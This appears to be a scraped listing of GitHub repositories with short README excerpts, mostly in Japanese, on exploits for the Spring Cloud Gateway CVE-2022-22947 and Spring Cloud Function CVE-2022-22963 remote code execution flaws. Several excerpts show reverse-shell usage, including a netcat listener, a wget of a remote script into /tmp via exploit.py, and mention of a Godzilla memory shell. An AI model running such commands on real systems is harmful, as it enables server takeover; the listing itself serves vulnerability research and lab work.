Spring-Cloud-Gateway-CVE-2022-22947

Spring-Cloud-Gateway-CVE-2022-22947 Spring Cloud Gateway のリモートコード実行（RCE）脆弱性に関するセキュリティアドバイザリ。この脆弱性は、Spring Cloud Gateway が Gateway Actuator エンドポイントを有効化して公開している場合に、Spring Cloud Gateway を使用するアプリケーションがコードインジェクション攻撃を受ける可能性があるというものです。攻撃者は特別に細工した悪意のあるリクエストを送信し、任意のコードをリモート実行する可能性があります。 【影響を受けるバージョン】 Spri...

CVE-2022-22963

CVE-2022-22963 针对 CVE-2022-22963 的教育性概念验证自动化工具，已在经授权的 Hack The Box 实验室环境中演示。 概述 CVE-2022-22963 是一个 Spring Cloud Function 漏洞，涉及 spring.cloud.function.routing-expression 请求头。 在易受攻击的配置下，攻击者可滥用 Spring 表达式 语言（SpEL）的求值，通过函数路由机制 调用 Java 功能。 此仓库包含一个 Python 自动化脚本，用于复现 经授权的 CTF/实验室环境中的该漏洞。 CVE ID:...

CVE-2022-22947

CVE-2022-22947 Spring Cloud Gateway へのコードインジェクション攻撃 CVE の概要 Spring Cloud Gateway のバージョン 3.1.1+ および 3.0.7+ より前のバージョンでは、Gateway Actuator エンドポイントが有効、公開、かつ保護されていない場合、アプリケーションはコードインジェクション攻撃に対して脆弱です。リモートの攻撃者は悪意を持って細工されたリクエストを行うことで、リモートホスト上で任意のリモート実行を可能にする可能性があります。 影響を受けるバージョン Oracle Commerce Guided...

Spring-Cloud-Gateway-Nacos

このリポジトリには README がありません。...

CVE-2022-22947-

CVE-2022-22947 Spring Cloud Gateway Actuator API SpEL式インジェクションによるコマンド実行（CVE-2022-22947） Godzillaメモリシェルを注入 デフォルトキー pass base64 注：コードはルート部分をクリアしていないので、自分でクリアしてください。。 テスト環境：https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md メモリシェルclass...

CVE-2022-22947-Spring-Cloud-Gateway-SpelRCE

CVE-2022-22947-Spring-Cloud-Gateway-SpelRCE CVE-2022-22947 の概要 危険度：高リスク POC/EXP状況：公開済み CNVD番号：CNNVD-2022-16402 影響範囲： Spring Cloud GateWay 3.1.0 Spring Cloud GateWay =3.0.0，=3.0.6 Spring Cloud GateWay 3.0.0 脆弱性の説明 Spring Cloud Gateway にはリモートコード実行の脆弱性が存在します。この脆弱性は Spring Cloud Gateway アプリケーションの...

CVE-2022-22963_Reverse-Shell-Exploit

CVE-2022-22963 リバースシェルエクスプロイト これは、CVE-2022-22963を悪用するPythonスクリプトです。CVE-2022-22963は、Spring Cloud Functionのリモートコード実行の脆弱性であり、攻撃者が脆弱なサーバー上で任意のコードを実行できるようにします。このエクスプロイトは、脆弱な/functionRouterエンドポイントを使用して、ターゲットサーバー上でコマンドを実行します。 使用方法...

CVE-2022-22963

CVE-2022-22963 CVE-2022-22963を悪用してSpring Cloudサービスを攻撃するリモートコード実行です。 免責事項：これは教育目的のみです。作者は本プログラムの使用について一切責任を負いません。自己責任で使用してください。 使い方 ./CVE-2022-22963 -h Usage: CVE-2022-22963 OPTIONS Application Options: -u, --target-url= Target/Host url where 'Spring Cloud' is running. Example: -t...

spring-cloud__spring-cloud-gateway_CVE-2022-22947_3-0-6

//// DO NOT EDIT THIS FILE. IT WAS GENERATED. Manual changes to this file will be lost when it is generated again. Edit the files in the src/main/asciidoc/ directory instead. //// image::https://circleci.com/gh/spring-cloud/spring-cloud-gateway/tree/master.svg?style=svg"CircleCI",...

CVE-2022-22947-pb-ai

CVE-2022-22947 Spring Cloud Gateway 脆弱性検証アプリケーション これは CVE-2022-22947 脆弱性をデモおよび検証するための Spring Cloud Gateway アプリケーションです。このアプリケーションは脆弱なバージョンの Spring Cloud Gateway を使用しており、Actuator エンドポイントを介して任意のコードを実行できます。 脆弱性概要 CVE-2022-22947 は Spring Cloud Gateway におけるリモートコード実行脆弱性です。攻撃者は Actuator エンドポイントを介して悪意のある...

Spring-Cloud-Gateway-CVE-2022-22947

Spring-Cloud-Gateway-CVE-2022-22947 Spring-Cloud-Gateway-CVE-2022-22947...

Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE

Spring Cloud Function の脆弱性 CVE-2022-22963 RCE これは Spring4Shell CVE-2022-22963 の Python 実装です。 Spring Cloud Function =3.1.6（3.1.x 系向け）、 および =3.2.2（3.2.x 系向け）を実行しているサービスに影響します。 オンライン上の複数の POC を組み合わせたものです。 作者: Randall Banner 日付: 17/04/23 説明: このスクリプトは、現在のディレクトリに、単純な bash リバースシェルのワンライナー を含む shell.sh...

RCE-in-Spring-Cloud-CVE-2022-22963

Spring CloudのRCEエクスプロイト CVE 2022-22963 CVE-2022-22963 のエクスプロイト - Spring Cloud Functionにおけるリモートコマンド実行 脆弱性の詳細については、こちら と こちら を参照してください。 PoC 攻撃者のホスト上でnetcatを実行: $ nc -lvnp 9001 攻撃者のホスト上でデフォルトポート 9001 を使用してエクスプロイトを実行する（例）: $ ./exploit.sh site.com 10.10.14.122 ---Reverse Shell Exploit for CVE-2022-229...

CVE-2022-22947

脆弱性の説明 Spring Cloud GateWayはSpring Cloudの新しいプロジェクトであり、Netflix Zuulの置き換えを目的としています。Spring 5.0+、Spring Boot 2.0+、WebFlux（高性能なReactorパターンに基づく応答通信フレームワークNetty、非同期ノンブロッキングモデル）などの技術で開発されており、Zuulよりも高性能です。公式テストでは、GateWayはZuulの1.6倍の性能を発揮し、マイクロサービスアーキテクチャにシンプルで効果的な統一APIルーティング管理方法を提供することを目的としています。 Spring Clo...

CVE-2022-22963

CVE-2022-22963 CVE-2022-22963 PoC 英語翻訳と検出のために若干修正されています。元のコード: https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE/blob/main/SpelRCEPOC.py 。デフォルトでは、ターゲット上で whoami が実行され、脆弱な URL を含む vulnerable.txt ファイルが作成されます。 脆弱性の悪用は非常に簡単です。以下に、脆弱性を悪用するための curl コマンドを示します。 curl -i -s -k -X $'POST' -H...

CVE-2022-22947

CVE-2022-22947 CVE-2022-22947 概要 Spring Cloud Gateway のリモートコード実行脆弱性（CVE-2022-22947）は、Spring Cloud Gateway アプリケーションの Actuator エンドポイントで発生し、有効、公開、安全でない状態でコードインジェクション攻撃を受けやすくなります。攻撃者はこの脆弱性を利用して、リモートホスト上で任意のリモート実行を許可するリクエストを悪意を持って作成する可能性があります。 影響を受けるバージョン Spring Cloud Gateway 3.1.x 3.1.1 Spring Cloud...

spring-cloud__spring-cloud-config_CVE-2020-5410_2-1-8-RELEASE

//// このファイルを編集しないでください。生成されたファイルです。 このファイルへの手動による変更は、再生成時に失われます。 代わりに src/main/asciidoc/ ディレクトリ内のファイルを編集してください。 //// image::https://circleci.com/gh/spring-cloud/spring-cloud-config/tree/master.svg?style=svg"CircleCI", link="https://circleci.com/gh/spring-cloud/spring-cloud-config/tree/master"...

spring-cloud__spring-cloud-config_CVE-2020-5405_2-1-6-RELEASE

//// このファイルは編集しないでください。自動生成されています。 このファイルへの手動変更は、再生成時に失われます。 代わりに、src/main/asciidoc/ ディレクトリ内のファイルを編集してください。 //// image::https://circleci.com/gh/spring-cloud/spring-cloud-config/tree/master.svg?style=svg"CircleCI", link="https://circleci.com/gh/spring-cloud/spring-cloud-config/tree/master"...

CVE-2022-22963-PoC

CVE-2022-22963: Spring4Shell RCE エクスプロイト これは、Spring4Shell（CVE-2022-22963）のPython実装です。この脆弱性は、Spring Cloud Function /tmp/rce $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh' + Host is vulnerable + Command executed + Exploit completed $ python exploit.py...

ROOT-APP-MAVEN-CVE-2026-22739 CVE-2026-22739 in org.springframework.cloud:spring-cloud-config-server - Patched by Root

Root has patched CVE-2026-22739 in the org.springframework.cloud:spring-cloud-config-server package for Root:Maven. Multiple fixed versions available...